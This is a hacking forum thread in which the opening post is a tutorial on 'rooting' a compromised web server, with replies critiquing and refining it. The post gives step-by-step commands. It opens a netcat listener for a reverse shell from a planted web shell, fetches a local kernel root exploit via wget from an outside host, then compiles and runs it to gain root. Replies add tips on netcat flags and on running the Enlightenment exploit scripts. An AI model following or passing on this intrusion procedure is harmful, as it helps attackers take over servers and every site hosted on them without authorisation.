Login Register






The stories and information posted here are artistic works of fiction and falsehood. Only a fool would take anything posted here as fact.
Thread Rating:
  • 0 Vote(s) - 0 Average


Tutorial How To Root A Server. filter_list
Author
Message
How To Root A Server. #1
After actually reading my tutorial again, it's very shitty. You should find a better one until I can make a good one.

Note this thread looks very ugly, sorry.

Hey guys, today I'll be teaching you how to root a server using a local root exploit.

What is rooting?
Rooting is gaining access to the servers root(admin) account. If done correctly you will have access to every site on the compromised server.

Back connecting.


What you will need.
Netcat
Local Root Exploit.
(The script provided is called Enlightenment, it should work on kernels older than may 14th.)
Back Connect Shell

So once we are in the server you will need to start up netcat.
We will do this using command prompt.
Go to the directory netcat is in.
Then do:

Code:
nc.exe

Now you should see this.
[Image: cd76bb9892.png]

Now we want to have netcat listen on our port.
To do that we will use this command.

Code:
-lvp (open port)
You should now see the following.

[Image: c2e0093eb8.png]

Now we want to go to our shell and back connect.

[Image: 177435962e.png]

If it worked you should see the connection in CMD.
[Image: 3617c22453.png]

Now type uname -a into CMD and hit enter.
You can google parts of the uname to find the right exploit.
You can check exploit-DB or 1337day.

Compiling and running the exploit

Now you need to upload the exploit, you can do this using your shell or wget.

Code:
wget http://nignog.com/tutorial/sinister.c

Once the exploit is uploaded we need to chmod it to 777.

Code:
chmod 777 sinister.c

Now we want to compile and run the exploit.

Code:
gcc -o sinister sinister.c

To run the exploit.

Code:
./sinister

Now if it all worked out you should be root. Type "whoami" and it should say root.

Reply

RE: How To Root A Server. #2
A lot of people won't know how to get into the server to begin with, but this is still a nice tutorial.

Reply

RE: How To Root A Server. #3
Inb4dymecorrectsyousomehow

Reply

RE: How To Root A Server. #4
I think what you're talking about is vulnerable kernels. In that case, it generally depends on the version (sometimes they backport privilege-escalation vulnerabilities). There are plenty of scripts out there, but you didn't really provide one.
[Image: fSEZXPs.png]

Reply

RE: How To Root A Server. #5
Is there some reason you think you need all users to be able to read, write, and execute your downloaded source? By default, wget makes it readable for you, so you don't need to chmod it.

Reply

RE: How To Root A Server. #6
This should be called "How to use netcat and gcc".

Reply

RE: How To Root A Server. #7
There's a few things wrong with this and I'm going to try to criticize constructively so you can improve.
One: there's several versions of Netcat, and they behave a bit differently. If -vlp doesn't work, try just -vl.
Two: Some systems don't actually have wget or a compiler. What do we do in that situation?
(I'll leave the answer up to the reader. Kirito, if you need help with this PM me. Anyone else, go away and stop being a skad.)
Three: as mentioned above, chmod 777 is unnecessary.
Four: You're making assumptions about the reader's choice of operating system. Genericize your tutorial.
Five: This actually isn't going to work exactly like this with Enlightenment. You'd want to extract the .tar.gz provided and run one of the .sh scripts contained therein, which compile and run the 'sploits for you.
PGP
Sign: F202 79C9 76F7 40BB 54EC 494F 5DEF 1D70 14C1 C4CC
Encrypt: A5B3 1B21 55E1 80AF 4C6E DE83 467B 8EFC 3DEE 681C
Auth: CD55 E8A5 1A08 2933 8BA6 BC88 D81F 1943 739A 3C47

Reply

RE: How To Root A Server. #8
Not 100% percent, but still a fantastic tutorial ^^
[Image: R5aCcWV.png]

Reply

RE: How To Root A Server. #9
(10-04-2013, 09:01 PM)cressi97 Wrote: Not 100% percent, but still a fantastic tutorial ^^

Please elaborate; why is this tutorial not '100%.' all I see is you spam-posting.
[Image: bAMEI93.jpg]


Jabber: charon@exploit.im

Reply

RE: How To Root A Server. #10
(10-04-2013, 08:22 PM)Starfall Wrote: There's a few things wrong with this and I'm going to try to criticize constructively so you can improve.
One: there's several versions of Netcat, and they behave a bit differently. If -vlp doesn't work, try just -vl.
Two: Some systems don't actually have wget or a compiler. What do we do in that situation?
(I'll leave the answer up to the reader. Kirito, if you need help with this PM me. Anyone else, go away and stop being a skad.)
Three: as mentioned above, chmod 777 is unnecessary.
Four: You're making assumptions about the reader's choice of operating system. Genericize your tutorial.
Five: This actually isn't going to work exactly like this with Enlightenment. You'd want to extract the .tar.gz provided and run one of the .sh scripts contained therein, which compile and run the 'sploits for you.

One: I was not aware of that at all, my apologies.
Two: Other than curl and wget I wouldn't know what to do, I've sent you a PM.
Four: Once I have familiarize myself with linux I'll add the correct commands.

Reply







Users browsing this thread: 1 Guest(s)